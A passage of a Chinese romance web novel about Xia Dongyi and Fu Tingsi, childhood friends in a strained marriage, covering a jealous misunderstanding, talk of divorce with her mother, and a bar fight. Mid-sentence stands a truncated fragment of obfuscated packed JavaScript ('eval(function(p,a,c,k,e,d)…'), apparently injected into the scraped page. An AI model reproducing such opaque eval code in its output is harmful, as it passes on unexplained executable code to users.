徐亦然叹息:“夏咚咚真得把你看紧了,要不然啊……”他摇摇头。 傅亭斯翻他一个大白眼:“我是那种人吗?” “名利场,身不由己。” 方棋彻问道:“所以你非带上咚咚,是因为这个女客户?” “当然不是因为这个,”傅亭斯淡淡看他一眼,接着说,“如果连这点自制力都没有,谈何为人呢?” 更别忘了,他洁癖那么重的一个人,不是谁都能的。 方棋彻点了点头:“还有其他原因?” “那原因是?”童淼森也好奇了。 望着三人好奇的目光齐刷刷盯着自己,傅亭斯捻了捻手指,想了一想,说道:“说起来有点卑劣。” “我就是想看看,她会不会吃醋。” “天哪。” “天哪。” “老天啊,快来个人救救我。” 三人异口同声发出这样的感叹。 竟然从傅亭斯嘴里听到这种话。 这人从他们认识开始,就没缺过女生追捧,按理说,越是这样的人,找女朋友就跟呼吸空气一样简单,但凡有点花花肠子的人,谁不懂得利用一下自己的天然优势的。 说来也奇怪,这哥们圈子里除了一个夏咚咚,全都是男的,那时候一度还传出他可能是个男同,搞得他们兄弟几个都有点自危了。 没想到啊没想到,搞了半天,竟然是兔子只吃窝边草。 还是个纯纯的恋爱脑。 真是绝了。 童淼森突然被弄得兴奋起来了:“我觉得还是得来点刺激的,兄弟啊,虽然我恋爱实战经验不多,但是我理论知识丰富啊,我给你说,你得听我的,绝对让夏咚咚这只小兔子乖乖入套,我现在就是你的大军师。” “对对对,”徐亦然紧接着说,“那我就是军师二号,我给你说啊,少爷,你虽然说找个女朋友不难,但基本上都是别人追的你,道理不一样的,而且夏咚咚,你也知道的,她就是跟别的女生不一样,你吃的不就是她这点吗,你的那套她完全不吃,你得拿出必杀技。” “对!”童淼森振了振臂:“你的必杀技!” 方棋彻听着他们在那边空扯淡,微微觉得有些不对劲的苗头:“我看你俩是狗头军师才差不多,别到时候人追不上不说,还给追跑了。” “你懂个屁。”童淼森喷他。 “你懂个屁啊,别插嘴。”徐亦然复读机跟上。 “……” 傅童斯沉默了一会,问:“我的必杀技是什么?” 童淼森:“现在咱们别扯灵魂吸引,灵魂共振那套了,就用你的脸,你的身材,你的肉·体就够了。” 徐亦然:“对对对。” 傅亭斯沉默注视着异常亢奋的两人,露出思索的表情。 接着问:“怎么勾引?” 事情好像在朝着某种不太妙的方向发展着,但是方棋彻无力制止什么,叹口气,打不过,那就加入吧。 想了一想,方棋彻说:“其实,下跪还是蛮好用的,尊严和面子虽然重要,但在你爱的女人面前,这些都可以抛弃,你就跪在她面前,深情地注视着她说:咚咚,我不能没有你。” “记住,”童淼森补充道,“要真挚,越真挚越好,一定要发自内心。” 傅亭斯一一记下,虚心的问:“还有吗?” “还有就是用你肉·体,勾引她就可以了。” 傅亭斯望着他们,眼神清澈无比:“怎么吸引?” “就你平常怎么吸引女生的,就怎么吸引你老婆。徐亦然淡淡的道。 “记住,”童淼森补充:“不要油腻,要清爽,要自然,要血性,要有man,要性张力。适当的时候,露一下你的肌肉,要不然肌肉都白练了。” 对,有道理。傅亭斯点点头。 肌肉练那么好,不就是给老婆服务的吗? “好了,”徐亦然说,“第一步。就从发信息开始吧。” 傅亭斯拿出手机,点开对话框,想了又想,还是没能打出第一个字。 抬头问道:“我要怎么说?” 方棋彻:“你好好想想。” 童淼森点点头:“这个真得好好想想。” 徐亦然:“确实应该好好想想。” “……” 傅亭斯在键盘上摩挲了半天,终于打出了一排字:[咚咚,下个周末和我一起去海洲岛吗] 片刻,没有回应。 傅亭斯思考了一下,发出第二条。 [求你了] 过了大约两分钟,他收到了夏冬意的回复。 [你是我在这个世界上最最讨厌的人,我永远不想再见到你] 傅亭斯瞳孔一缩,下意识就拨号过去。 嘟嘟嘟嘟—— 一阵忙音。 ??? 傅亭斯想不明白,上午还对他说“爱你宝贝”,下午就把他拉黑了。 37. 小狗不听话 从咖啡店出来,一路上夏冬意都没有说话,郁吱吱问心情不好吗,她说没有。 说没有那就是有了,女人的嘴比石头还坚硬。 郁吱吱忍着没笑,故意又问,是那通电话吗? 夏冬意撇撇嘴,神情看起来不在意极了,嘴上却叽里咕噜的,一个男人,一天天的,桃花比女人还多,他以为他是蝴蝶还是蜜蜂啊! 夏冬意的延伸能力是真的很强,毕竟读书时期做拓展思考问题是她的强项。 她突然间联想到了一件往事,上初中的时候,有一年暑假,两家父母好像都忙的抽不出身来,一合计,把两个小的一起放去了傅亭斯爷爷家。 傅爷爷家住在农村,乡下比城里好玩多了,两人白天就在山间田野撒欢儿玩,晚上就在大树下纳凉吃瓜看星星。唯独让夏冬意最受不了的事情就是小强。 夏冬意长这么大以来,那是她第一次真个八经见到传说中的小强,南方的小强,那不是开玩笑的,比甲壳虫还要大伤好几倍,还会飞。夏冬意哇的一声哭出来。 也因为这个阴影,后来碰到很多虫子,她都没有这么怕过,最怕的还是小强。 碰到过几次,都是傅爷爷或者傅奶奶帮她赶走的。两个老人心善慈悲,尤其是傅奶奶,吃斋念佛,从不杀生,傅爷爷尊重她,看到小强,最多也是把虫子吓唬走。 这对夏冬意来说是很不牢靠的,赶走怎么能行呢,没准还会回来。心里总是慌牢牢的,一整个晚上都惦记着,睡不踏实。只有傅亭斯心冷手狠,看到小强,随手拿起报纸,卷在手里,啪啪啪几下就能把小强拍死。 夏冬意只能求助于他。 可这狗东西偏要向她索要好处费才肯施以援助之手,说弄一次给他一百,这和敲竹杠有啥区别,夏冬意当然不会让他这种不正之风蔓延,一旦退让过一次,以后他会越来越嚣张。 她梗着脖子,扔出一句:你做梦去吧。 傅亭斯懒洋洋靠着门框,瞥她:“真不怕啊?” “你滚吧,我就算被这臭虫咬死也不要你帮忙!” “我可没说非要帮你,你又不给我钱,”这狗东西继续懒洋洋的,站着不腰疼说风凉话:“晚上啊,这小强从门缝里钻进你房里,然后沿着床脚爬到你床上,从你的脚趾头开始咬,你知道这东西在臭水沟里长大,最喜欢吃腐烂的东西,骨头啊,粪便啊……” “啊啊啊啊啊啊!”夏冬意要疯了,鸡皮疙瘩起了全身,眼泪都被吓出来了,跑到傅亭斯身边,揪住他的衣服,整个人都在发抖,泪水涟涟的,哭腔着嗓:“求求你别说了好不好,我真的好怕啊,你帮我赶走它好不好,傅亭斯。” 后来,傅亭斯拿着那卷报纸,三下五除二把小强拍死了,把尸体扔去了外面,被几只大公鸡抢食了。 夏冬意的心总算安了下来。 他是一个这么让人讨厌的人,总是以捉弄她为乐,虽然偶尔会做那么几件让人暖心的事情,但如果这就是出于喜欢的话,夏冬意觉得自己可太倒霉了。 纵观这二十七年的成长道路,夏冬意真的体会不到一丝丝的,傅亭斯喜欢她的感觉,如果他喜欢她,她不应该有感觉吗?但和他的相处之中,她最大的感受就是,他从来没把她当成过一个女的,总是拿她当兄弟看待,以至于当他说喜欢她的时候,她第一反应不是震惊,不是惊讶,更不是感动,而是莫名其妙,不可思议,甚至觉得,他可能又在耍她了。 怎么可能呢? 傅亭斯喜欢她? 这是她听过最好笑的笑话。 想着想着,夏冬意手不自觉打开包扣,去摸里面:“哎呀,我手机呢?!” 郁吱吱被她这一惊一乍吓了跳:“没在包里吗?” 夏冬意停住脚,仔细检查包里,一边低头翻一边说:“没有啊,我打完电话放没放进去啊?” 郁吱吱回忆着:“我没注意啊。” 夏冬意完全不记得了,现在包里没有,刚才离开之前她打过电话,也就说那会儿手机还在,那可能还留在店里。 让郁吱吱先走了,自己回去店里找。 郁吱吱看时间还早,就说陪她一起。 来到店内,吧台上并没有看到手机的影子。 程子衡见她们去而复返,好像在找什么东西,问怎么了。 “学长,”夏冬意说,“你看到我的手机没有?” 程子衡一脸茫然:“没有,你的手机丢了?” “是啊,”郁吱吱说道,“不知道落哪儿了,咚咚找了一圈都没找到。” “你先别急,”程子衡安抚道,“我帮你问问。” 说完,程子衡走到另一边的收银区,和店员说了几句,店员的表情也是一脸茫然。 随后他走过来:“店里好像都没人看到。” “那怎么办,报警吗?”郁吱吱看向夏冬意,等她拿主意。 夏冬意想到,如果这会儿报警的话,势必会影响到店里的生意,而且她还不确定手机是不是在店里丢失的。 想了想问道:“学长,你这里有监控吗?” “有是有,但……”程子衡迟疑了一下,“前几天坏了,还没来得及去修。” “这可怎么办?”郁吱吱泄气道。 她的手机用了两年多,确实也该换了,手机本身价值倒是不高,毕竟现在手机是消耗品,而且她也不是差那几块钱,就是换手机麻烦事真麻烦。 夏冬意不想因这事给程子衡带来麻烦,况且没有监控,警察也很难查出来,也不再纠结了,旧的不去新的不来,直接赶去营业厅办了挂失,顺便买了部新手机。 拿到手机第一件事就是插上手机卡,登录微信页面。微信开始加载,之前的聊天记录也都没了,好在夏冬意的工作手机还在,如果丢的是那只办公的手机,那才叫完蛋。 傅亭斯似乎并没有给她回信息,夏冬意也不好意思问他刚刚有没有给她发信息,显得她好像在特意等他一样。 而且,她现在还在生他的气呢,干嘛要表现的那么主动? 这么一想,夏冬意就更生气了,决定今天回自己家了。 也不想告诉傅亭斯自己的计划。 丢手机病没有太影响夏冬意的心情,反倒是傅亭斯今天的所作所为,让她情绪起伏的厉害。 很生气。 非常生气。 尤其是一下午,他都没有打来电话,或者发个信息给她。 不会那女的真是他新交的女朋友吧? 夏冬意越想越觉得这事真实度极高。 她前面还怀疑过,这会不会是傅亭斯的恶作剧,就是随便找个女的接她的电话,故意拿她寻开心,这种事是傅亭斯干得出来的。 但是……再怎么样,他也不会晾她一下午啊。 夏冬意有个特点,但凡发生点什么事情,如果哄哄她或者说几句好话,只要逻辑过得去,她也就算了。 但是如果晾着她,不理她,冷着冷着,她就会变得极度的理智。极度的心硬,超过两天的冷静,等她把一切都想清楚了,那就是牛头牛都拉不回来了。 再哄都没用了。 傅亭斯是知道她的。 竟然知道,却还是放着任由她发散思维,那就说明他是不准备挽回了。 这就是夏冬意的理解。 一下班,她收拾好东西,头也不回地开车回了家里。 江笑妍惊讶她今天怎么回来了,问她是不是又和小斯闹情绪了。 夏冬意心想,不愧是我的亲妈,真乃料事如神。脸上却装不在意的,摆摆手往客厅走,将包随手丢到沙发上,一屁股坐下:“我就是想你和爸爸,想回来看看你们。” 江笑妍探头往门外扫去:“你自己回来的,小斯没送你?” “他晚上加班。”夏冬意随口胡诌着,点开遥控器看电视。 这死孩子,江笑妍边摇了摇头,边走去厨房,走几步,想起来问说道:“你让小斯今天晚上来家里吃饭吧,你们这一天天的,都在外面吃,两个人都不做饭,不能经常这样的。” 顺着母亲的话,夏冬意回忆了一下这几天都吃的啥,好像确实没怎么在家里做过饭,但是,傅亭斯是会做饭的,总不可能饿死她吧。就是那破房子里面要啥没啥,而且装修设计风格她也不喜欢。 不过这跟她又有什么关系呢? 夏冬意从来没把那当成她真正的家,等时间到了,她总是要离开的。那是傅亭斯的房子,他爱咋咋吧。 她随口敷衍着江笑妍:“他在加班啊,肯定赶不过来。” 这又是她随口胡诌的,一下午都没和傅亭斯联系过,哪能知道他是不是在加班呢。 知女莫如母,看夏冬意这副模样,江笑妍不想也知道,两个孩子肯定又吵架了,叹口气,摇摇头,继续回厨房去了。 夏冬意好几百年没看过电视剧了,现在看综艺比较多,国内的综艺和电视剧现在是越来越难看了,没啥创新,笑料也很尬,还特爱搞煽情那套。 江笑妍最近在看一个电视剧,讲小年轻爱来爱去那些故事。夏冬意懒得调节目,跟着一起看了一会儿。没看几分钟,内心就忍不住吐槽起来。 这女主这么瘦也就算了,这男主也干巴巴的,下巴尖的能戳死一个人,看着都让人没有欲望。这是什么畸形审美嘛! 虽然说男人胖显得油腻,但是太瘦了,真的难以产生欲望啊。男人嘛,最好就是……夏冬意不由自主又想起了傅亭斯。 老实说,这条狗虽然嘴巴很欠,做事也挺让人生气的,但身材真的是一等一的好,尤其是那种薄肌感,不会特别大块,也不会太瘦,属于刚刚好的那种,还有他手臂的线条,那种力量感,平时衣服遮着,真的是看不出来,别人清不清楚不知道,但夏冬意是真的清楚。 她忽然想到之前小姐妹说她:咚咚吃的可真好。 那时候她还挺不以为意的。 现在想想…… 哦,她还没吃上。 但是…… 夏冬意又深入想了想,她和傅亭斯毕竟认识这么久了,熟悉的不能再熟悉了,啊,和好朋友上床也太尴尬了吧。 就拿上次和傅亭斯接吻这个事,现在想起来都鸡皮疙瘩掉满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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没过会儿,江笑妍打里面走出来。 看到夏冬意指了指电视里的画面:“这部片子好看吗?” 江笑妍把手往围裙上擦了擦,走过来:“你也在看啊?” “我看你看才看的。”夏冬意接过江笑妍递过来的一块哈密瓜,咬了一口,“你觉得好看吗?你有被感动到吗?为什么我觉得这故事并没有想想中感动呢?男主做的事情很寻常啊,还没有到让女主要嫁给他的地步吧。” 江笑妍并没有马上接话,而是笑着坐在女儿身边:“我喜欢看并不是因为它有多感动,而是让我回到了年轻的时候。” 母亲很平常的一句话,却让夏冬意触动到了。 她抱着江笑妍的手臂,把头歪靠在她的肩头,轻轻说:“妈妈,你说的这句话我都觉得比这个男主的告白感触的多,这是为什么呀妈妈?” “可能是因为你爱我吧。”江笑妍轻轻摸着她的头。 “妈妈,我刚才说,想你和爸爸,是真的。” “我知道。” 夏冬意依偎着母亲,好像已离开了她许久。这一刻让她浮躁的心慢慢平和下来。 “咚咚,你最近开心吗?”江笑妍温柔的声音,让夏冬意瞬时就红了眼眶。 她不想让母亲担心,但却又没法违心的说出自己很快乐这样的话,就只是默不作声,又觉得这样的沉默也是一种默认,便轻轻的,用假装不在意的语气说道:“还好吧。” “看来小斯没有把你照顾好。”江笑妍叹口气,心疼极了。 “妈妈,”夏冬意把脑袋轻轻蹭着母亲的肩膀,用很柔软的,带着点儿她自己都未曾预料到的惆怅和迷茫,低声说:“我想离婚了,你和爸爸不会怪我吧?” “不管你做什么,爸爸和我都会永远支持你,”江笑妍揉着她的手,缓缓说道:我也在想,是不是我们给你的压力太大,让你没有考虑好就做了这个选择,小斯是个好孩子,我们能成为一家人,无论是你爸爸和我,还是你傅叔叔和葛阿姨,都是很开心的事情,但是看到你现在这么不开心,我想,小斯肯定也是一样的,是我们的错,不该给你们那么大的压力。” 夏冬意的眼泪从眼角,顺着脸颊滑落下来,静静无声地停在下巴尖上。 “妈妈,你和爸爸都已经知道……” “你是我们的孩子,我们怎么可能不了解你。你和小斯认识这么多年,要是喜欢早就说了,怎么可能等到现在突然说结婚就结婚,没有一点预兆的,假使你们背着我们有什么,也不可能,我们两家巴不得你们能早点在一起呢,于情于理也不可能搞什么地下恋情是不是?” “所以那天我俩演戏,你们都看出来了?” “怎么可能看不出来?就是配合你们表演罢了。” 夏冬意心头一阵暖融。 她像小猫一样,用脑袋蹭着母亲的下巴,而后用一种无限哀伤的语气说道:“可是,他跟我说,不会离婚的,我觉得很窒息,我不想自己被这段婚姻捆绑住,这让我觉得好束缚。” “没事的,”江笑妍轻轻摸着她的头,温柔的说道,“婚已经结过了,你也尝试过了,这不适合你,我们就及时止损,只要你不喜欢的,爸爸妈妈不会强迫你,我会找个时间和小斯好好谈谈。” 夏冬意心安定了下来。 双手搂住江笑妍的脖子:“谢谢妈妈。” 38. 小狗不听话 晚饭吃到半途,夏冬意起身接了个电话,随后就拿上包说出门一趟。 “出什么事了?”江笑妍放下筷子,也跟着站起来。 这通电话是方棋彻打来的,说傅亭斯喝醉了,让她赶紧过去。说着话,电话里还能听到砸东西的声音,夏冬意也搞不清楚状况,那边混乱一团,方棋彻也没讲清楚,夏冬意心脏跳的老快,太阳穴也跳着,再吃不下饭了,扔下一句:“傅亭斯喝醉了,喊我过去接一下人。” 江笑妍急急忙忙跟她身后说:“你不是说他加班吗?要不要妈妈陪你去,你一个人会不会不安全?” “估计是应酬吧,他那工作免不了喝酒,”夏冬意鬼扯了两句,“妈,没事的,我就是去接一下他,方棋彻他们都在呢,不会有事的。” 夏冬意心里十万火急,一脚踩下油门离开家里,也顾不上再生他的气,一心想赶快赶过去。方棋彻他们几个都在,应该能稳住他,不过也说不定,那家伙…… 老实说,傅亭斯喝醉酒的样子,夏冬意是真没见过。虽然经常说他幼稚的没边,但夏冬意清楚,那不过是跟她在一起的时候,事实上他是一个心里很有谱,也很有规划的人。每次跟别人在外面喝酒,他都是收放自如,喝到差不多的度,死活都劝不了他,还会反劝人家多喝几杯。所以他到底有多深的酒量,就连夏冬意都不知道,方棋彻他们自然也不清楚。 有人说他海量,也有人说他其实都是烟雾弹,没啥真本事。傅亭斯呢,笑一笑,随他们怎么说,他自不动安如山。反正到差不多了,不管怎么样他都是不会再往下喝的。 今天怎么会喝醉的,还是和方棋彻他们,就很邪门。而且他还过着敏呢,还喝酒,真是不要命了。 夏冬意越想越窝火,人都开热了,油门踩到底,车窗全打开,一路飙车到了地儿。 刚进门就看到了狼藉的场面。傅亭斯被方棋彻童淼森几人连拉带抱着,就这样还拦不住他,冲过去要踢人,对方呢,手里拎着的一个碎了的玻璃瓶,玻璃碎片掉了满地,一手的血,跌坐在地上骂骂咧咧的。 方棋彻没说他喝醉酒跟人干架啊,夏冬意只以为是小事,没想到一进门就见到了大场面。 傅亭斯呢,显然已经是打红了眼,这会儿三个大男人都拉不住他,夏冬意再仔细一瞧,傅亭斯手臂上在滴着血,但他似乎像是没感觉一样。 这人不知道什么事惹到傅亭斯了,夏冬意第一反应就是这个,要不然以傅亭斯的脾气性格,不会这样,他都已经多久没打架了。 夏冬意在门口短暂消化了下,连忙快步走过去,拉住傅亭斯,低头看了看他的手臂:“你手流血了。” 暴怒的男人在一瞬之间平息了下来,低头看着夏冬意,过了几秒,嘴里清晰地吐出几个字:“你怎么来了?” 这个问题问的真好啊。 夏冬意转头去看方棋彻:“你不是说他喝醉了?” 这吐字,这神情,这眼神,哪里有一点点喝醉酒的样子? 方棋彻倒是挺老实的,刚要说话,傅亭斯道:“我让他这么说的。” 她还什么都没说呢,倒是护上了。 夏冬意:“你要打架也别在人家店里打啊,你砸场呢,人家生意还做不做了?” 徐亦然看了看夏冬意,欲言又止,被傅亭斯一个眼神,止住了。 夏冬意没注意到这点,问:“还没报警吧?” 方棋彻摇摇头:“刚我和店家说了,别报警,能用钱处理就别惹这身腥,到时候麻烦。” 也是,如果报警了,势必父母都会知道,傅亭斯逃不出一顿骂。 夏冬意点了点头:“我来处理。” 店家这边好弄,赔点损失费就能搞定,就是对方,刚打过一场,他们几个大男人做事冲动,可能没说上几句就又能干起来,还是她出面说最好。 傅亭斯看了一眼她,示意她别参和,他自己会处理。 夏冬意没接他的意思:“我去跟他说,麻烦能少一点,这种事当场处理掉最后,越拖越难搞。” 她虽然不知道这件事的起因如何,但不知道为什么,她就是信任傅亭斯,他不会无缘无故跟人家动手的,肯定是对方先惹事。 夏冬意走到对方面前,弯腰蹲下来,刚要开口,突然顿住,这人她是认识的,叫钱寐,初中的时候有个绰号“没钱”。 之前开初中同学会,夏冬意没有参加,听说傅亭斯把没钱揍了一顿,因为她。 没钱这人嘴巴很贱,初中的时候坐在夏冬意后排,夏冬意跟他的过节来自于全润峰。 说来也搞笑,没钱和全润峰关系很好,称兄道弟的,后来出了那个事后,没钱认为夏冬意是祸端,是她让傅亭斯揍了全润峰。之后就整天有事没事找夏冬意麻烦。 夏冬意不是包子性格,被搞了几次就火大了,有一次在晚自修直接和没钱吵起来了,那会夏冬意还跟傅亭斯冷战着。却没想到,傅亭斯直接冲过来,把没钱桌子踹翻了,还警告他,再敢欺负她试试。 没钱真是个囊种,他不敢和傅亭斯明着单挑,也不敢再明面上找夏冬意麻烦了,就只能暗戳戳的来,夏冬意当然知道那是谁搞的鬼,却也不敢声张,怕傅亭斯知道以后再把事情闹大了。 没想到,这两人的梁子也就在那时候结下了。 这更加让夏冬意认定了,今天这起事件,肯定是没钱这个窝囊废有意挑的事。这个人就是这样,打么打不过,就是想弄出点动静,气气人。 其实没钱的真名,夏冬意早就忘记了。 就直接说:“没钱,我给你打辆车,你自己回家吧。” 给他打辆车都都已经仁至义尽了,他还想怎么着呢。 没钱不肯善罢甘休,说自己的肚子被踹了一脚,额头上也起了一个肿包,还有嘴巴上,手臂上的伤,要去医院验伤,要报警。 “去吧去吧,”夏冬意没被他吓到,懒洋洋说,“这儿都有监控,谁先挑的事一目了然,我们还受伤了呢,你看,你还拿着凶器呢,这可是能致命的。” 夏冬意指了指他手里的玻璃碎瓶。 没钱一下把那瓶子扔掉了,说:“我没有。” “你没有?”夏冬意表情变了变,冷着脸低声说,“这儿都是人证,别给脸不要脸,敲诈不成反把自己给害了。” 最后这半句,更像是警告。 没钱自知理亏,其实他刚才那番话明显是吓唬人的,以为夏冬意会被他吓到,谁想到她脑筋那么清楚,让他一点好处都捞不到。 这边谈妥了,夏冬意走回来,摊手问傅亭斯要手机。 他一边把手机解了锁,递给夏冬意的时候,看了眼她。 夏冬意接过,顺嘴说道:“这钱总不能让我出吧。” 傅亭斯笑了笑。 夏冬意用傅亭斯的手机给没钱叫了辆车,然后又和店家那边谈了赔偿费,顺手扫了店里的二维码,用傅亭斯的手机。 到输密码这步,她把手机还给傅亭斯。 他却不接,凑过头,在她耳边报了一串数字。 夏冬意反应了两秒,反应过来那是密码。 也没多想的,输入数字,付了钱。 一场闹剧结束,方齐彻几个准备走了。 本来是打算一起走的,夏冬意看了他手臂上的伤,血淋淋的,准备去医院,但他自己没当回事,得知夏冬意晚饭还没吃几口就出来了,跟夏冬意两人站在收银台前点菜,方棋彻几个拍了拍他的肩膀说要回去了,他侧过头来点了点头,三个人朝他挤眉弄眼着,看眼神也知道什么意思,是说他这苦肉计用的好啊。 傅亭斯笑笑没说话。 夏冬意心思根本不在吃上面,奈何傅亭斯很坚持,她也就草草点了一盘面打包走了,匆匆带着傅亭斯去医院包扎伤口。 一路上两人都没说什么话,傅亭斯让她把面条先吃了,她也不听他的,只管自己开着车。就像没听见一样。 傅亭斯碎 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“嗳,别开那么快啊,”那声音带着笑,懒懒的,像是在逗她,又好像蛮认真的,“我流了好多血,现在头有点晕。” “头晕你就闭嘴。”夏冬意铁面无情道。 傅亭斯又跟着闷笑了两声。 这狗东西,还挺会笑的。 要不是夏冬意对他这种欠欠的样子已经多有免疫,真的很容易被他的笑声勾引到。 见夏冬意没理会自己,傅亭斯就主动给自己找点乐子干,一会儿勾勾她的头发丝儿,一会儿又吹吹口哨,哼她最喜欢的歌儿,吸引她。 夏冬意不为所动。 傅亭斯拿出杀手锏。 他先是叹口气,然后用一种遗憾的,哀伤的语气说:“傅小狗要饿坏了。” “你还说呢。”夏冬意没好气。 “你总算是愿意搭理我了,”傅亭斯靠过去,勾住夏冬意的手臂,细细的胳膊,都没有几两肉,都不够挂他,傅亭斯抬眸,用一种专注无比的目光,痴迷地望着她的侧脸。 过了几秒,他冷不丁的说道:“今天你来之前,我还在想,你都说那么讨厌我了,应该不会来了吧。” 傅亭斯的嗓音低低的,难得透露出来情绪,很磁,酥酥的发麻。 夏冬意心口像是被人轻轻敲了一下。 暗自深呼吸了一口气,她用一种淡淡的,不怎么在意的语气问道:“说的你好像多委屈似的,下午给你打电话的时候,那女的是什么情况,她怎么说你在洗澡?还有,你为什么一下午都不理我?” 傅亭斯怔住。 他一时有些消化不过来。 “什么女的?” 车厢里暗,夏冬意满心满眼的委屈,心口像被堵住了一样,这会儿她也没有那么多的心情辨别,他的神情和语气有多么的不对劲,她只想告诉他。 她会来,是因为他们还有旧的情谊在,毕竟认识了这么多年,她不可能一点都不管他。 但是有些话,并不一定要说的那么清楚的,只需要展露一个小小的角落,他们都能心知肚明。 夏冬意整理了一下情绪,接着用淡淡的语气说道:“我知道你说喜欢我,是因为想留住这段婚姻不得已,可是傅亭斯,这不是我想要的,我现在才知道,没有爱情的婚姻是多么的可怕,所以我求你,放过自己,也放过我吧。” 沉默。 可怕的沉默。 顿了顿,夏冬意继续说:“今晚我回了趟家,和妈妈谈过了,她和爸爸都支持我的决定,过几天,她可能会来找你谈一下。” 没有人回答她。 他不知道在什么时候松开了手。 夏冬意不敢回过头去看傅亭斯的反应。 又是经过了好几秒可怕的沉默之后,她听到傅亭斯淬过冰霜一样的声音,问她:“谈什么?” 39. 小狗不听话 谈什么? 还能谈什么? 当然是谈离婚的事。 夏冬意没有如实把心里话说出口,因为现在的气氛很紧张。 傅亭斯嗓音压得很低,虽然她没有看他,却也清楚地感受到了下降的气压像十二月的寒冷季节。 她不会不知道,这句话不是疑问,而是反问。 他们心知肚明。 也已经无数次因为这个问题,气氛的凝固而使对话无法进行下去。 固然,夏冬意有无数种办法,巧妙地化解当下的气氛。但这也只是治标不治本,逃避的一种手段,是他们都不想见到的结果。 现在,她只想找到解决途径,再或者,退一步来说,稳定傅亭斯的情绪,然后到时候等母亲出面,解决这个问题。 她发现,以她自己的能力,想通过和平谈判结束现状,是基本不可能的事情。 夏冬意艰难地咽了一下口水,硬着头皮,反而他的反问:“你说什么?” 她声音很轻,但着不确信的小心翼翼。 傅亭斯没有接话,扫了眼周围的路况,前面不远左拐有个路口,那条小巷子里应该可以停车。 他超前指了指,像是随口一说:“把车停那里去,先把晚饭吃了。” 夏冬意有点没听明白,反应了两秒,他的意思是让她先吃饭,其余的事情到时再说。她吃不吃饭倒是其次,现在也不是很饿,想到他手臂上狰狞的伤口和流着的血,虽然经过了简单的处理,但还是不免心有余悸。 夏冬意很执着:“没事,我不饿。” “一会儿面坨了。” 夏冬意只好把方向盘往左边一打,在一处林荫下停了车,把面吃完后,打包整理好,下车把垃圾扔掉,重新出发。 她吃饭的时候,傅停斯仰靠着睡觉,不知道有没有睡着,从头到尾都没有多余的话。 这条小巷很幽静,暖光下绿意葱茏,春意浓郁。夏冬意拎着打包袋走到路旁的垃圾桶扔垃圾,一路过去,踩着零碎的灯影,突然发现,这样宁静温暖的夜晚是她平时很少注意的,认为这一切都是很寻常发生的事情,也许生命美就美在,发生在这一切看似寻常却不寻常的每个当下。 她惊讶于这一刻的发现和感慨,不知道是不是最近发生的事情带给了她不一样的触动,让她慢慢地注意到很多被自己忽视掉的角落。 她也忽然之间的想到,刚刚在车上,对傅亭斯说的那番话是不是有点太不顾他的感受了?或许她只是为了表达自己的感受,觉得这是实话,但好像缺从来没有尊重过他的感受。 从始至终,她好像一直都不怎么在乎和尊重过付亭斯。会认为他的陪伴是理所当然,他对她的好是明明应该,也从来没有担心过,或者说也从不觉得需要担心,有一天她会失去他。 失去傅亭斯? 这可能吗? 垃圾袋扔进了垃圾桶。 夏冬意倏然停住了往回走的脚步。 她从来没有想过这个问题。 好像傅亭斯永远都会在那里,他不可能会离开她。又或者说,她曾经也担心过,但当这一切没有发生的时候,谁都不会觉得它会发生在自己面前,直到它真正的发生的时候。 那假如说,妈妈真的说服了他,他也真的同意离婚了。那是不是意味着他们之间,也会结束呢? 夏冬意意识到这是一个可怕的念头,也意识到了她那可怕的占有欲。 她不确定自己到底是否喜欢傅亭斯,但有一点是可以确定的,她不希望他们的关系就此中断,哪怕将来他们各自有了新生活,她也希望能保持原来的状态。 夏冬意感觉呼吸不过来,她要赶快回到车上,她要问清楚。 在她打开车门,再度回来的时候,傅亭斯已经醒了,睁开眼睛浅浅扫了眼她。 夏冬意心砰砰跳着,她一边重新启动车子,一边不在意的问道:“手疼不疼?” “还好。” 夏冬意抿了抿唇,有些不自然地看了看窗外的反光镜,将车倒了出去,在腹里打了一圈草稿,车子也随即开出了那条巷子。 她想,要不等到去了医院,检查完再问吧,也不缺这么点时间。 受到思绪波动影响,车速放慢不少。傅亭斯出其不意问道:“想说什么?” “什么?”夏冬意嘴上这么说着,心里却纳罕着,你怎么知道我有话要说? 却听傅亭斯悠悠开口:“你这从上车到现在,看了我多少次了。” 夏冬意撇撇嘴:“你可别自恋了,谁看你了。” 傅亭斯轻哼了声,一直到医院,两人都没再说过话了。 虽然傅亭斯认为这就是一个皮外伤,不可能伤到骨头,更不会有什么后顾之忧,夏冬意还是执意让他拍了片,并且跟医生确认了几遍注意事项,一一记下。 临走前,她特意咨询医生,过敏喝酒要不要紧。 傅亭斯原本是打算走了的,听到她在身后这么问医生,停下脚步回头看了眼过去。医生说了什么他倒是没注意听,而后莫名其妙地勾了勾唇角。 两人一前一后出了诊室,到楼下取药,快到电梯口傅亭斯放慢脚步,等夏冬意走到身边。在他揿下电梯按钮的时候,夏冬意说道:“刚才医生说的话你听到没有,过敏了就不能喝酒,忌口懂不懂啊,你又不是三岁小孩了,这么点儿酒都忍不了,能干点啥事啊。” 傅亭斯收回手抄进口袋,淡淡回了句:“没听。” 他确实没听。这是实话。 夏冬意却觉得他是故意这么说。 傅亭斯见她没再说话,幽幽地看了一眼她。 夏冬意觉得他眼神挺奇怪,不高兴地哼了声,回瞪过去:“看什么啊?” 傅亭斯笑笑,上下打量着她,就是不说话。夏冬意被他这眼神盯的发毛,火大了:“你到底什么事儿啊?” 电梯到了,随着叮咚一声,他们和周围等电梯的人一道走了进去,密闭的空间,没有人说话,傅亭斯站在夏冬意旁边,一低头就能看到她的头顶,视线微微往下,是莹润的耳廓,再接着是细长雪白的脖子。 他的视线定了定,而后移开,什么也没说。 直到走出了电梯,才听到他状似漫不经心地说了句。 “都要离婚了,还这么关心我?” 夏冬意一怔,顿了顿脚步,回过头,不解地望向他。 傅亭斯勾勾嘴角,意味不明地回视她,接着,擦身向前走去。 夏冬意被搞的一头莫名其妙,想起来刚刚路上要问他的事,紧走几步赶上。傅亭斯腿长,走得老快,夏冬意微微喘着气,上手揪着他的衣服轻轻拉一拉。 感受到了拽拉的力道,傅亭斯放慢脚步,低头看她。 想到后面要说的话,夏冬意咽了下喉咙,问道:“你刚才说离婚,意思是你同意了?” “不同意能怎么办,你都把你妈搬出来了。”傅亭斯悠悠闲闲地说道。 扔下这句话后,他快步朝着停车的方向走去,没有半点要等她的意思。 不是,他这话什么意思啊? 夏冬意追上去:“傅亭斯,你站 